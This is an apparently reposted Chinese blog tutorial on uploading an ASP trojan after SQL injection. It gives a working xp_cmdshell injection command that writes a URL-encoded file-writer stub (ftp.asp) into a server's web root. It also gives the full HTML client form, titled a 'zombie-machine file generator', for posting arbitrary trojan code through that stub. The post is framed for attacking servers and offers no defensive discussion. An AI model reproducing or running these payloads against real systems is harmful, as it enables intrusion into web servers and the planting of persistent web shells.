您的位置:首页 > 编程语言 > ASP

SQL注入与ASP木马上传

2016-02-07 19:34 615 查看
SQL注入后,如何上传木马,一直是比较头疼的事,我这里提供上传木马的一种另一种方法。

1、SQL注入的时候,用xp_cmdshell 向服务器上写入一个能写文件的asp文件。

文件内容:

<%

Set objFSO = Server.CreateObject

("scripting.FileSystemObject")

Set objCountFile=objFSO.CreateTextFile

(request("mypath"),True)

objCountFile.Write request("mydata")

objCountFile.Close

%>

这个文件可以写成一行

<%Set objFSO = Server.CreateObject

("scripting.FileSystemObject"):

Set objCountFile=objFSO.CreateTextFile

(request("mypath"),True):objCountFile.Write request("mydata"):

objCountFile.Close%>

将特殊字符进行编码 就可以得到

%3C%25Set%20objFSO%20=%20Server.CreateObject

(%22scripting.FileSystemObject%22):

Set%20objCountFile=objFSO.CreateTextFile(request(%22mypath%22),True):

objCountFile.Write%20request(%22mydata%22):objCountFile.Close%25%3E

注入(这里假定web目录是C:/Inetpub/wwwroot/): 

exec master..xp_cmdshell 'echo 

"%3C%25Set%20objFSO%20=%20Server.CreateObject

(%22scripting.FileSystemObject%22):

Set%20objCountFile=objFSO.CreateTextFile

(request(%22mypath%22),True):

objCountFile.Write%20request(%22mydata%22):

objCountFile.Close%25%3E" > C:/Inetpub/wwwroot/ftp.asp';

这样 在服务器的web 目录下 将生成一个 ftp.asp文件

该文件的代码为

<%

Set objFSO = Server.CreateObject

("scripting.FileSystemObject")

Set objCountFile=objFSO.CreateTextFile

(request("mypath"),True)

objCountFile.Write request

("mydata")

objCountFile.Close

%>

你可以看到,上面代码中预留了两个接口 mypath 和 mydata

mypath是下次提交的时候 文件的生成路径

mydata是文件的内容

在本地编写一个客户端文件 例:RohuClient.htm 代码如下

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">

<html>

<head>

<meta http-equiv="Content-Type" content="text/html; charset=gb2312">

<title>肉鸡文件生成器--客户端 制作:绝对零度 QQ:12216796</title>

<style type="text/css">

<!--

TD {

FONT-SIZE: 9pt; LINE-HEIGHT: 150%

}

BODY {

FONT-SIZE: 12px;

FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif, 宋体;

SCROLLBAR-FACE-COLOR: #eeeeee; 

SCROLLBAR-HIGHLIGHT-COLOR: #ffffff; 

SCROLLBAR-SHADOW-COLOR: #dee3e7; 

SCROLLBAR-3DLIGHT-COLOR: #d1d7dc; 

SCROLLBAR-ARROW-COLOR: #006699; 

SCROLLBAR-TRACK-COLOR: #ededed; 

SCROLLBAR-DARKSHADOW-COLOR: #98aab1

}

 

A:link {

FONT-SIZE: 9pt; COLOR: #363636; LINE-HEIGHT: 18px; TEXT-DECORATION: none

}

A:visited {

FONT-SIZE: 9pt; COLOR: #363636; LINE-HEIGHT: 18px; TEXT-DECORATION: none

}

A:hover {

COLOR: #cc0000; LINE-HEIGHT: 18px; TEXT-DECORATION: underline

}

input,select,TEXTAREA {

font-family: "tahoma", "arial", "helvetica", "sans-serif", "宋体";

background-color: #f9f9f9; 

font-size: 9pt ; 

border: 1px #d2d2d2 dobble;

line-height:120%;

}

-->

</style>

</head>

<script language="javascript" type="text/javascript">

function chk(theform)

{

if(theform.ftpUrl.value=='')

{

alert('请输入递交的地址!');

theform.ftpUrl.focus();

return false;

}

if(theform.MyPath.value=='')

{

alert('请输入生成文件的位置!');

theform.MyPath.focus();

return false;

}

if(theform.MyData.value=='')

{

alert('请输入生成文件的内容!');

theform.MyData.focus();

return false;

}

theform.action=theform.ftpUrl.value;

}

</script>

<body>

<form name="RohuForm" method="post" 

action="" onSubmit="return chk(this)" target="_blank">

<table width="673" border="0" align="center" 

cellpadding="0" cellspacing="0">

<tr>

<td width="11%">目标位置:</td>

<td width="79%"><input name="ftpUrl"

type="text" id="ftpUrl" size="50">

例:http://127.0.0.1/FTP.ASP<;/td>

</tr>

<tr>

<td>生成文件:</td>

<td><input name="MyPath" type="text" id="MyPath">

将在服务器上,生成的文件路径。例:

C:/Inetpub/wwwroot/Server.asp </td>

</tr>

<tr>

<td valign="top">文件代码:</td>

<td><textarea name="MyData" cols="100" 

rows="10" id="textarea"></textarea></td>

</tr>

<tr>

<td> </td>

<td><input type="submit" name="Submit" value="提交"></td>

</tr>

</table>

<br>

</form>

<table width="100%" border="0" cellspacing="0" cellpadding="0">

<tr>

<td align="center">版权所有:

XXXX(<a href=http://www.rxxx.com;>xx盟</a>)</td>

</tr>

</table>

</body>

</html>

在目标位置栏填上刚刚生成的ftp.asp文件的url地址 

http://127.0.0.1/ftp.asp (这里假设服务器的ip是 127.0.0.1)

在生成文件栏 输入将在服务器上生成的文件名 比如:C:/Inetpub/wwwroot/Server.asp 

在文件内容里 ,随意的粘贴一个asp代码 

点递交,当http://127.0.0.1/ftp.asp 文件执行完毕 基本上服务器上的asp木马就生成了。
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: